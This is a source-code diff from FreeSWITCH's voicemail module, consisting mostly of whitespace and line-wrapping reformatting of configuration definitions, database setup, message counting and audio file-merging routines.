+ SWITCH_CONFIG_SET_ITEM(profile->config[i++], "ff-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, &profile->ff_key, "6", &config_dtmf, NULL, NULL);
+ SWITCH_CONFIG_SET_ITEM(profile->config[i++], "rew-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, &profile->rew_key, "4", &config_dtmf, NULL, NULL);
+ SWITCH_CONFIG_SET_ITEM(profile->config[i++], "previous-message-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+ &profile->prev_msg_key, "", &config_dtmf, NULL, NULL);
+ SWITCH_CONFIG_SET_ITEM(profile->config[i++], "next-message-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+ &profile->next_msg_key, "", &config_dtmf, NULL, NULL);
+ SWITCH_CONFIG_SET_ITEM(profile->config[i++], "urgent-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+ &profile->urgent_key, "*", &config_dtmf, NULL, NULL);
+ SWITCH_CONFIG_SET_ITEM(profile->config[i++], "operator-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+ &profile->operator_key, "", &config_dtmf, NULL, NULL);
+ SWITCH_CONFIG_SET_ITEM(profile->config[i++], "vmain-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, &profile->vmain_key, "", &config_dtmf, NULL, NULL);
+ SWITCH_CONFIG_SET_ITEM(profile->config[i++], "vmain-extension", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+ &profile->vmain_ext, "", &profile->config_str_pool, NULL, NULL);
+ SWITCH_CONFIG_SET_ITEM(profile->config[i++], "forward-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+ &profile->forward_key, "8", &config_dtmf, NULL, NULL);
+ SWITCH_CONFIG_SET_ITEM(profile->config[i++], "prepend-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+ &profile->prepend_key, "1", &config_dtmf, NULL, NULL);
/* Other settings */
- SWITCH_CONFIG_SET_ITEM(profile->config[i++], "file-extension", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
- &profile->file_ext, "wav", &config_file_ext, NULL, NULL);
- SWITCH_CONFIG_SET_ITEM(profile->config[i++], "record-title", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
- &profile->record_title, "FreeSWITCH Voicemail", &profile->config_str_pool, NULL, NULL);
- SWITCH_CONFIG_SET_ITEM(profile->config[i++], "record-comment", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
- &profile->record_comment, "FreeSWITCH Voicemail", &profile->config_str_pool, NULL, NULL);
- SWITCH_CONFIG_SET_ITEM(profile->config[i++], "record-copyright", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
- &profile->record_copyright, "http://www.freeswitch.org", &profile->config_str_pool, NULL, NULL);
- SWITCH_CONFIG_SET_ITEM(profile->config[i++], "operator-extension", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
- &profile->operator_ext, "", &profile->config_str_pool, NULL, NULL);
+ SWITCH_CONFIG_SET_ITEM(profile->config[i++], "file-extension", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+ &profile->file_ext, "wav", &config_file_ext, NULL, NULL);
+ SWITCH_CONFIG_SET_ITEM(profile->config[i++], "record-title", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+ &profile->record_title, "FreeSWITCH Voicemail", &profile->config_str_pool, NULL, NULL);
+ SWITCH_CONFIG_SET_ITEM(profile->config[i++], "record-comment", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+ &profile->record_comment, "FreeSWITCH Voicemail", &profile->config_str_pool, NULL, NULL);
+ SWITCH_CONFIG_SET_ITEM(profile->config[i++], "record-copyright", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+ &profile->record_copyright, "http://www.freeswitch.org", &profile->config_str_pool, NULL, NULL);
+ SWITCH_CONFIG_SET_ITEM(profile->config[i++], "operator-extension", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+ &profile->operator_ext, "", &profile->config_str_pool, NULL, NULL);
- SWITCH_CONFIG_SET_ITEM(profile->config[i++], "tone-spec", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
- &profile->tone_spec, "%(1000, 0, 640)", &profile->config_str_pool, NULL, NULL);
- SWITCH_CONFIG_SET_ITEM(profile->config[i++], "storage-dir", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
- &profile->storage_dir, "", &profile->config_str_pool, NULL, NULL);
- SWITCH_CONFIG_SET_ITEM(profile->config[i++], "callback-dialplan", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
- &profile->callback_dialplan, "XML", &profile->config_str_pool, NULL, NULL);
- SWITCH_CONFIG_SET_ITEM(profile->config[i++], "callback-context", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
- &profile->callback_context, "default", &profile->config_str_pool, NULL, NULL);
-
- SWITCH_CONFIG_SET_ITEM(profile->config[i++], "notify-email-body", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
- &profile->notify_email_body, NULL, &profile->config_str_pool, NULL, NULL);
- SWITCH_CONFIG_SET_ITEM(profile->config[i++], "notify-email-headers", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
- &profile->notify_email_headers, NULL, &profile->config_str_pool, NULL, NULL);
+ SWITCH_CONFIG_SET_ITEM(profile->config[i++], "tone-spec", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+ &profile->tone_spec, "%(1000, 0, 640)", &profile->config_str_pool, NULL, NULL);
+ SWITCH_CONFIG_SET_ITEM(profile->config[i++], "storage-dir", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+ &profile->storage_dir, "", &profile->config_str_pool, NULL, NULL);
+ SWITCH_CONFIG_SET_ITEM(profile->config[i++], "callback-dialplan", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+ &profile->callback_dialplan, "XML", &profile->config_str_pool, NULL, NULL);
+ SWITCH_CONFIG_SET_ITEM(profile->config[i++], "callback-context", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+ &profile->callback_context, "default", &profile->config_str_pool, NULL, NULL);
- SWITCH_CONFIG_SET_ITEM(profile->config[i++], "play-date-announcement", SWITCH_CONFIG_ENUM, CONFIG_RELOADABLE,
- &profile->play_date_announcement, VM_DATE_FIRST, &config_play_date_announcement, NULL, NULL);
+ SWITCH_CONFIG_SET_ITEM(profile->config[i++], "notify-email-body", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+ &profile->notify_email_body, NULL, &profile->config_str_pool, NULL, NULL);
+ SWITCH_CONFIG_SET_ITEM(profile->config[i++], "notify-email-headers", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+ &profile->notify_email_headers, NULL, &profile->config_str_pool, NULL, NULL);
- SWITCH_CONFIG_SET_ITEM(profile->config[i++], "convert-cmd", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+ SWITCH_CONFIG_SET_ITEM(profile->config[i++], "play-date-announcement", SWITCH_CONFIG_ENUM, CONFIG_RELOADABLE,
+ &profile->play_date_announcement, VM_DATE_FIRST, &config_play_date_announcement, NULL, NULL);
+
+ SWITCH_CONFIG_SET_ITEM(profile->config[i++], "convert-cmd", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
&profile->convert_cmd, NULL, &profile->config_str_pool, NULL, NULL);
- SWITCH_CONFIG_SET_ITEM(profile->config[i++], "convert-ext", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+ SWITCH_CONFIG_SET_ITEM(profile->config[i++], "convert-ext", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
&profile->convert_ext, NULL, &profile->config_str_pool, NULL, NULL);
-
- SWITCH_CONFIG_SET_ITEM(profile->config[i++], "digit-timeout", SWITCH_CONFIG_INT, CONFIG_RELOADABLE,
- &profile->digit_timeout, 10000, &config_int_digit_timeout, NULL, NULL);
- SWITCH_CONFIG_SET_ITEM(profile->config[i++], "max-login-attempts", SWITCH_CONFIG_INT, CONFIG_RELOADABLE,
- &profile->max_login_attempts, 3, &config_int_max_logins, NULL, NULL);
- SWITCH_CONFIG_SET_ITEM(profile->config[i++], "min-record-len", SWITCH_CONFIG_INT, CONFIG_RELOADABLE,
- &profile->min_record_len, 3, &config_int_0_10000, "seconds", NULL);
- SWITCH_CONFIG_SET_ITEM(profile->config[i++], "max-record-len", SWITCH_CONFIG_INT, CONFIG_RELOADABLE,
- &profile->max_record_len, 300, &config_int_0_1000, "seconds", NULL);
- SWITCH_CONFIG_SET_ITEM(profile->config[i++], "max-retries", SWITCH_CONFIG_INT, CONFIG_RELOADABLE,
- &profile->max_retries, 3, &config_int_ht_0, NULL, NULL);
- SWITCH_CONFIG_SET_ITEM(profile->config[i++], "record-silence-threshold", SWITCH_CONFIG_INT, CONFIG_RELOADABLE,
- &profile->record_threshold, 200, &config_int_0_10000, NULL, NULL);
- SWITCH_CONFIG_SET_ITEM(profile->config[i++], "record-silence-hits", SWITCH_CONFIG_INT, CONFIG_RELOADABLE,
- &profile->record_silence_hits, 2, &config_int_0_1000, NULL, NULL);
- SWITCH_CONFIG_SET_ITEM_CALLBACK(profile->config[i++], "record-sample-rate", SWITCH_CONFIG_INT, CONFIG_RELOADABLE,
- &profile->record_sample_rate, 0, NULL, vm_config_validate_samplerate, NULL, NULL);
- SWITCH_CONFIG_SET_ITEM(profile->config[i++], "email_headers", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
- &profile->email_headers, NULL, &profile->config_str_pool, NULL, NULL);
- SWITCH_CONFIG_SET_ITEM(profile->config[i++], "email_body", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
- &profile->email_body, NULL, &profile->config_str_pool, NULL, NULL);
- SWITCH_CONFIG_SET_ITEM(profile->config[i++], "email_email-from", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
- &profile->email_from, NULL, &profile->config_str_pool, NULL, NULL);
- SWITCH_CONFIG_SET_ITEM(profile->config[i++], "email_date-fmt", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
- &profile->date_fmt, "%A, %B %d %Y, %I %M %p", &profile->config_str_pool, NULL, NULL);
- SWITCH_CONFIG_SET_ITEM(profile->config[i++], "odbc-dsn", SWITCH_CONFIG_STRING, 0,
- &profile->odbc_dsn, NULL, &profile->config_str_pool, NULL, NULL);
- SWITCH_CONFIG_SET_ITEM_CALLBACK(profile->config[i++], "email_template-file", SWITCH_CONFIG_CUSTOM, CONFIG_RELOADABLE,
- NULL, NULL, profile, vm_config_email_callback, NULL, NULL);
- SWITCH_CONFIG_SET_ITEM_CALLBACK(profile->config[i++], "email_notify-template-file", SWITCH_CONFIG_CUSTOM, CONFIG_RELOADABLE,
- NULL, NULL, profile, vm_config_notify_callback, NULL, NULL);
- SWITCH_CONFIG_SET_ITEM_CALLBACK(profile->config[i++], "web-template-file", SWITCH_CONFIG_CUSTOM, CONFIG_RELOADABLE,
- NULL, NULL, profile, vm_config_web_callback, NULL, NULL);
-
+ SWITCH_CONFIG_SET_ITEM(profile->config[i++], "digit-timeout", SWITCH_CONFIG_INT, CONFIG_RELOADABLE,
+ &profile->digit_timeout, 10000, &config_int_digit_timeout, NULL, NULL);
+ SWITCH_CONFIG_SET_ITEM(profile->config[i++], "max-login-attempts", SWITCH_CONFIG_INT, CONFIG_RELOADABLE,
+ &profile->max_login_attempts, 3, &config_int_max_logins, NULL, NULL);
+ SWITCH_CONFIG_SET_ITEM(profile->config[i++], "min-record-len", SWITCH_CONFIG_INT, CONFIG_RELOADABLE,
+ &profile->min_record_len, 3, &config_int_0_10000, "seconds", NULL);
+ SWITCH_CONFIG_SET_ITEM(profile->config[i++], "max-record-len", SWITCH_CONFIG_INT, CONFIG_RELOADABLE,
+ &profile->max_record_len, 300, &config_int_0_1000, "seconds", NULL);
+ SWITCH_CONFIG_SET_ITEM(profile->config[i++], "max-retries", SWITCH_CONFIG_INT, CONFIG_RELOADABLE,
+ &profile->max_retries, 3, &config_int_ht_0, NULL, NULL);
+ SWITCH_CONFIG_SET_ITEM(profile->config[i++], "record-silence-threshold", SWITCH_CONFIG_INT, CONFIG_RELOADABLE,
+ &profile->record_threshold, 200, &config_int_0_10000, NULL, NULL);
+ SWITCH_CONFIG_SET_ITEM(profile->config[i++], "record-silence-hits", SWITCH_CONFIG_INT, CONFIG_RELOADABLE,
+ &profile->record_silence_hits, 2, &config_int_0_1000, NULL, NULL);
+ SWITCH_CONFIG_SET_ITEM_CALLBACK(profile->config[i++], "record-sample-rate", SWITCH_CONFIG_INT, CONFIG_RELOADABLE,
+ &profile->record_sample_rate, 0, NULL, vm_config_validate_samplerate, NULL, NULL);
+
+ SWITCH_CONFIG_SET_ITEM(profile->config[i++], "email_headers", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+ &profile->email_headers, NULL, &profile->config_str_pool, NULL, NULL);
+ SWITCH_CONFIG_SET_ITEM(profile->config[i++], "email_body", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+ &profile->email_body, NULL, &profile->config_str_pool, NULL, NULL);
+ SWITCH_CONFIG_SET_ITEM(profile->config[i++], "email_email-from", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+ &profile->email_from, NULL, &profile->config_str_pool, NULL, NULL);
+ SWITCH_CONFIG_SET_ITEM(profile->config[i++], "email_date-fmt", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+ &profile->date_fmt, "%A, %B %d %Y, %I %M %p", &profile->config_str_pool, NULL, NULL);
+ SWITCH_CONFIG_SET_ITEM(profile->config[i++], "odbc-dsn", SWITCH_CONFIG_STRING, 0, &profile->odbc_dsn, NULL, &profile->config_str_pool, NULL, NULL);
+ SWITCH_CONFIG_SET_ITEM_CALLBACK(profile->config[i++], "email_template-file", SWITCH_CONFIG_CUSTOM, CONFIG_RELOADABLE,
+ NULL, NULL, profile, vm_config_email_callback, NULL, NULL);
+ SWITCH_CONFIG_SET_ITEM_CALLBACK(profile->config[i++], "email_notify-template-file", SWITCH_CONFIG_CUSTOM, CONFIG_RELOADABLE,
+ NULL, NULL, profile, vm_config_notify_callback, NULL, NULL);
+ SWITCH_CONFIG_SET_ITEM_CALLBACK(profile->config[i++], "web-template-file", SWITCH_CONFIG_CUSTOM, CONFIG_RELOADABLE,
+ NULL, NULL, profile, vm_config_web_callback, NULL, NULL);
+
switch_assert(i < VM_PROFILE_CONFIGITEM_COUNT);
-
+
return profile;
}
-static vm_profile_t * load_profile(const char *profile_name)
+static vm_profile_t *load_profile(const char *profile_name)
{
vm_profile_t *profile = NULL;
switch_xml_t x_profiles, x_profile, cfg, xml, x_email, param;
@@ -652,26 +644,25 @@
if ((param = switch_xml_child(x_email, "headers"))) {
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "email_headers", param->txt);
}
-
+
for (param = switch_xml_child(x_email, "param"); param; param = param->next) {
char *var, *val;
char buf[2048];
-
- if ((var = (char *) switch_xml_attr_soft(param, "name")) &&
- (val = (char *) switch_xml_attr_soft(param, "value"))) {
+
+ if ((var = (char *) switch_xml_attr_soft(param, "name")) && (val = (char *) switch_xml_attr_soft(param, "value"))) {
switch_snprintf(buf, 2048, "email_%s", var);
- switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, buf, val);
+ switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, buf, val);
}
}
}
-
+
if (switch_xml_config_parse_event(event, count, SWITCH_FALSE, profile->config) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to process configuration\n");
switch_core_destroy_memory_pool(&pool);
goto end;
}
-
+
switch_thread_rwlock_create(&profile->rwlock, pool);
profile->name = switch_core_strdup(pool, profile_name);
@@ -690,13 +681,14 @@
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Cannot open DB!\n");
goto end;
}
-
- switch_cache_db_test_reactive(dbh, "select count(forwarded_by) from voicemail_msgs", NULL, "alter table voicemail_msgs add forwarded_by varchar(255)");
+
+ switch_cache_db_test_reactive(dbh, "select count(forwarded_by) from voicemail_msgs", NULL,
+ "alter table voicemail_msgs add forwarded_by varchar(255)");
switch_cache_db_test_reactive(dbh, "select count(forwarded_by) from voicemail_msgs", "drop table voicemail_msgs", vm_sql);
-
+
switch_cache_db_test_reactive(dbh, "select count(username) from voicemail_prefs", "drop table voicemail_prefs", vm_pref_sql);
switch_cache_db_test_reactive(dbh, "select count(password) from voicemail_prefs", NULL, "alter table voicemail_prefs add password varchar(255)");
-
+
for (x = 0; vm_index_list[x]; x++) {
errmsg = NULL;
switch_cache_db_execute_sql(dbh, vm_index_list[x], &errmsg);
@@ -724,17 +716,17 @@
}
-static vm_profile_t * get_profile(const char *profile_name)
+static vm_profile_t *get_profile(const char *profile_name)
{
vm_profile_t *profile = NULL;
switch_mutex_lock(globals.mutex);
if (!(profile = switch_core_hash_find(globals.profile_hash, profile_name))) {
- profile = load_profile(profile_name);
+ profile = load_profile(profile_name);
}
if (profile) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "[%s] rwlock\n", profile->name);
-
+
switch_thread_rwlock_rdlock(profile->rwlock);
}
switch_mutex_unlock(globals.mutex);
@@ -894,7 +886,7 @@
switch_copy_string(cbt->name_path, argv[2], sizeof(cbt->name_path));
switch_copy_string(cbt->greeting_path, argv[3], sizeof(cbt->greeting_path));
switch_copy_string(cbt->password, argv[4], sizeof(cbt->password));
-
+
return 0;
}
@@ -1011,16 +1003,16 @@
static int message_count_callback(void *pArg, int argc, char **argv, char **columnNames)
{
msg_cnt_callback_t *cbt = (msg_cnt_callback_t *) pArg;
- if (atoi(argv[0]) == 1) { /* UnRead */
- if (!strcasecmp(argv[1], "A_URGENT")) { /* Urgent */
+ if (atoi(argv[0]) == 1) { /* UnRead */
+ if (!strcasecmp(argv[1], "A_URGENT")) { /* Urgent */
cbt->total_new_urgent_messages = atoi(argv[2]);
- } else { /* Normal */
+ } else { /* Normal */
cbt->total_new_messages = atoi(argv[2]);
}
- } else { /* Already Read */
- if (!strcasecmp(argv[1], "A_URGENT")) { /* Urgent */
+ } else { /* Already Read */
+ if (!strcasecmp(argv[1], "A_URGENT")) { /* Urgent */
cbt->total_saved_urgent_messages = atoi(argv[2]);
- } else { /* Normal */
+ } else { /* Normal */
cbt->total_saved_messages = atoi(argv[2]);
}
}
@@ -1058,16 +1050,12 @@
switch_status_t measure_file_len(const char *path, switch_size_t *message_len)
{
-
+
switch_file_handle_t fh = { 0 };
uint32_t pos = 0;
switch_status_t status = SWITCH_STATUS_FALSE;
- if (switch_core_file_open(&fh,
- path,
- 0,
- 0,
- SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) == SWITCH_STATUS_SUCCESS) {
+ if (switch_core_file_open(&fh, path, 0, 0, SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) == SWITCH_STATUS_SUCCESS) {
if (switch_core_file_seek(&fh, &pos, 0, SEEK_END) == SWITCH_STATUS_SUCCESS) {
*message_len = pos / fh.samplerate;
@@ -1075,7 +1063,7 @@
}
switch_core_file_close(&fh);
}
-
+
return status;
}
@@ -1091,10 +1079,10 @@
char term;
char input[10] = "", key_buf[80] = "";
cc_t cc = { 0 };
- switch_codec_implementation_t read_impl = {0};
+ switch_codec_implementation_t read_impl = { 0 };
int got_file = 0;
- switch_core_session_get_read_impl(session, &read_impl);
+ switch_core_session_get_read_impl(session, &read_impl);
if (exit_keys) {
@@ -1108,7 +1096,8 @@
record_file:
*message_len = 0;
- if (macro_name) TRY_CODE(switch_ivr_phrase_macro(session, macro_name, NULL, NULL, NULL));
+ if (macro_name)
+ TRY_CODE(switch_ivr_phrase_macro(session, macro_name, NULL, NULL, NULL));
switch_channel_flush_dtmf(channel);
TRY_CODE(switch_ivr_gentones(session, profile->tone_spec, 0, NULL));
@@ -1152,7 +1141,7 @@
}
if (profile->auto_playback_recordings) {
- play_file:
+ play_file:
memset(&fh, 0, sizeof(fh));
args.input_callback = control_playback;
memset(&cc, 0, sizeof(cc));
@@ -1170,7 +1159,7 @@
status = SWITCH_STATUS_SUCCESS;
*cc.buf = '\0';
} else {
- (void)vm_macro_get(session, VM_RECORD_FILE_CHECK_MACRO, key_buf, input, sizeof(input), 1, "", &term, profile->digit_timeout);
+ (void) vm_macro_get(session, VM_RECORD_FILE_CHECK_MACRO, key_buf, input, sizeof(input), 1, "", &term, profile->digit_timeout);
}
if (!strcmp(input, profile->listen_file_key)) {
@@ -1178,7 +1167,7 @@
} else if (!strcmp(input, profile->record_file_key)) {
goto record_file;
} else {
- (void)switch_ivr_phrase_macro(session, VM_ACK_MACRO, "saved", NULL, NULL);
+ (void) switch_ivr_phrase_macro(session, VM_ACK_MACRO, "saved", NULL, NULL);
goto end;
}
}
@@ -1212,7 +1201,7 @@
int index;
int want;
msg_type_t type;
- msg_move_t move;
+ msg_move_t move;
char *convert_cmd;
char *convert_ext;
};
@@ -1252,18 +1241,17 @@
switch_event_create(¶ms, SWITCH_EVENT_GENERAL);
switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, "action", action);
- if (switch_xml_locate_user("id", myid, domain_name, NULL,
- &xx_domain_root, &xx_domain, &xx_user, NULL, params) == SWITCH_STATUS_SUCCESS) {
+ if (switch_xml_locate_user("id", myid, domain_name, NULL, &xx_domain_root, &xx_domain, &xx_user, NULL, params) == SWITCH_STATUS_SUCCESS) {
ret = strdup(switch_xml_attr(xx_user, "id"));
switch_xml_free(xx_domain_root);
}
-
+
switch_event_destroy(¶ms);
return ret;
}
-static void message_count(vm_profile_t *profile, const char *id_in, const char *domain_name, const char *myfolder, int *total_new_messages,
- int *total_saved_messages, int *total_new_urgent_messages, int *total_saved_urgent_messages)
+static void message_count(vm_profile_t *profile, const char *id_in, const char *domain_name, const char *myfolder, int *total_new_messages,
+ int *total_saved_messages, int *total_new_urgent_messages, int *total_saved_urgent_messages)
{
char msg_count[80] = "";
msg_cnt_callback_t cbt = { 0 };
@@ -1283,7 +1271,7 @@
switch_snprintf(sql, sizeof(sql),
"select read_epoch=0, read_flags, count(read_epoch) from voicemail_msgs where username='%s' and domain='%s' and in_folder='%s' group by read_epoch=0,read_flags;",
- myid, domain_name, myfolder);
+ myid, domain_name, myfolder);
vm_execute_sql_callback(profile, profile->mutex, sql, message_count_callback, &cbt);
@@ -1301,8 +1289,9 @@
static char *vm_merge_file(switch_core_session_t *session, vm_profile_t *profile, const char *announce, const char *orig)
{
- switch_channel_t *channel = switch_core_session_get_channel(session);
- switch_file_handle_t lrfh = { 0 }, *rfh = NULL, lfh = { 0 }, *fh = NULL;
+ switch_channel_t *channel = switch_core_session_get_channel(session);
+ switch_file_handle_t lrfh = { 0 }, *rfh = NULL, lfh = {
+ 0}, *fh = NULL;
char *tmp_path;
switch_uuid_t uuid;
char uuid_str[SWITCH_UUID_FORMATTED_LENGTH + 1];
@@ -1310,8 +1299,8 @@
int16_t *abuf = NULL;
switch_size_t olen = 0;
int asis = 0;
- switch_codec_implementation_t read_impl = {0};
- switch_core_session_get_read_impl(session, &read_impl);
+ switch_codec_implementation_t read_impl = { 0 };
+ switch_core_session_get_read_impl(session, &read_impl);
switch_uuid_get(&uuid);
switch_uuid_format(uuid_str, &uuid);
@@ -1324,20 +1313,18 @@
if (switch_core_file_open(&lfh,
tmp_path,
lfh.channels,
- read_impl.actual_samples_per_second,
- SWITCH_FILE_FLAG_WRITE | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
+ read_impl.actual_samples_per_second, SWITCH_FILE_FLAG_WRITE | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Failed to open file %s\n", tmp_path);
goto end;
}
fh = &lfh;
-
+
if (switch_core_file_open(&lrfh,
announce,
lfh.channels,
- read_impl.actual_samples_per_second,
- SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
+ read_impl.actual_samples_per_second, SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Failed to open file %s\n", announce);
goto end;
}
@@ -1348,7 +1335,7 @@
if (switch_test_flag(fh, SWITCH_FILE_NATIVE)) {
asis = 1;
- }
+ }
while (switch_channel_ready(channel)) {
olen = VM_STARTSAMPLES;
@@ -1360,7 +1347,7 @@
if (switch_core_file_read(rfh, abuf, &olen) != SWITCH_STATUS_SUCCESS || !olen) {
break;
}
-
+
switch_core_file_write(fh, abuf, &olen);
}
@@ -1373,8 +1360,7 @@
if (switch_core_file_open(&lrfh,
orig,
lfh.channels,
- read_impl.actual_samples_per_second,
- SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
+ read_impl.actual_samples_per_second, SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Failed to open file %s\n", orig);
goto end;
}
@@ -1391,7 +1377,7 @@
if (switch_core_file_read(rfh, abuf, &olen) != SWITCH_STATUS_SUCCESS || !olen) {
break;
}
-
+
switch_core_file_write(fh, abuf, &olen);
}
@@ -1400,7 +1386,7 @@
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "Failed to delete file [%s]\n", announce);
}
ret = tmp_path;
-
+
end:
if (fh) {
@@ -1429,18 +1415,18 @@
char input[10] = "", key_buf[80] = "";
switch_file_handle_t fh = { 0 };
cc_t cc = { 0 };
- char *forward_file_path = NULL;
+ char *forward_file_path = NULL;
if (switch_channel_ready(channel)) {
args.input_callback = cancel_on_dtmf;
- switch_snprintf(key_buf, sizeof(key_buf), "%s:%s:%s:%s:%s:%s%s%s", profile->listen_file_key, profile->save_file_key,
- profile->delete_file_key, profile->email_key, profile->callback_key,
+ switch_snprintf(key_buf, sizeof(key_buf), "%s:%s:%s:%s:%s:%s%s%s", profile->listen_file_key, profile->save_file_key,
+ profile->delete_file_key, profile->email_key, profile->callback_key,
profile->forward_key, cbt->email ? ":" : "", cbt->email ? cbt->email : "");
-
+
switch_snprintf(input, sizeof(input), "%s:%d", cbt->type == MSG_NEW ? "new" : "saved", cbt->want + 1);
memset(&cc, 0, sizeof(cc));
cc.profile = profile;
@@ -1489,8 +1475,8 @@
char *new_file_path = NULL;
char vm_cc[256] = "";
char macro_buf[80] = "";
-
-
+
+
switch_snprintf(key_buf, sizeof(key_buf), "%s:%s", profile->prepend_key, profile->forward_key);
TRY_CODE(vm_macro_get(session, VM_FORWARD_PREPEND_MACRO, key_buf, input, sizeof(input), 1, "", &term, profile->digit_timeout));
if (!strcmp(input, profile->prepend_key)) {
@@ -1498,11 +1484,12 @@
char uuid_str[SWITCH_UUID_FORMATTED_LENGTH + 1];
switch_size_t message_len = 0;
char *new_path = NULL;
-
+
switch_uuid_get(&uuid);
switch_uuid_format(uuid_str, &uuid);
- forward_file_path = switch_core_session_sprintf(session, "%s%smsg_%s.wav", SWITCH_GLOBAL_dirs.temp_dir, SWITCH_PATH_SEPARATOR, uuid_str);
+ forward_file_path =
+ switch_core_session_sprintf(session, "%s%smsg_%s.wav", SWITCH_GLOBAL_dirs.temp_dir, SWITCH_PATH_SEPARATOR, uuid_str);
TRY_CODE(create_file(session, profile, VM_RECORD_MESSAGE_MACRO, forward_file_path, &message_len, SWITCH_TRUE, NULL, NULL));
if ((new_path = vm_merge_file(session, profile, forward_file_path, cbt->file_path))) {
switch_ivr_sleep(session, 1500, SWITCH_TRUE, NULL);
@@ -1517,14 +1504,15 @@
} else {
new_file_path = cbt->file_path;
}
-
- get_exten:
-
+
+ get_exten:
+
switch_snprintf(macro_buf, sizeof(macro_buf), "phrase:%s:%s", VM_FORWARD_MESSAGE_ENTER_EXTENSION_MACRO, profile->terminator_key);
vm_cc[0] = '\0';
- TRY_CODE(switch_ivr_read(session, 0, sizeof(vm_cc), macro_buf, NULL, vm_cc, sizeof(vm_cc), profile->digit_timeout, profile->terminator_key));
-
+ TRY_CODE(switch_ivr_read
+ (session, 0, sizeof(vm_cc), macro_buf, NULL, vm_cc, sizeof(vm_cc), profile->digit_timeout, profile->terminator_key));
+
cmd = switch_core_session_sprintf(session, "%s@%s %s %s '%s'", vm_cc, cbt->domain, new_file_path, cbt->cid_number, cbt->cid_name);
if (voicemail_inject(cmd) == SWITCH_STATUS_SUCCESS) {
@@ -1566,7 +1554,7 @@
message_count(profile, cbt->user, cbt->domain, cbt->in_folder, &total_new_messages, &total_saved_messages,
&total_new_urgent_messages, &total_saved_urgent_messages);
- switch_time_exp_lt(&tm, switch_time_make (atol(cbt->created_epoch), 0));
+ switch_time_exp_lt(&tm, switch_time_make(atol(cbt->created_epoch), 0));
switch_strftime(date, &retsize, sizeof(date), profile->date_fmt, &tm);
switch_snprintf(tmp, sizeof(tmp), "%d", total_new_messages);
@@ -1589,7 +1577,7 @@
switch_channel_set_variable(channel, "voicemail_priority", tmp);
message_len = atoi(cbt->message_len);
- l_duration = switch_time_make (atol(cbt->message_len), 0);
+ l_duration = switch_time_make(atol(cbt->message_len), 0);
switch_core_measure_time(l_duration, &duration);
duration.day += duration.yr * 365;
duration.hr += duration.day * 24;
@@ -1674,7 +1662,8 @@
int total_saved_urgent_messages = 0;
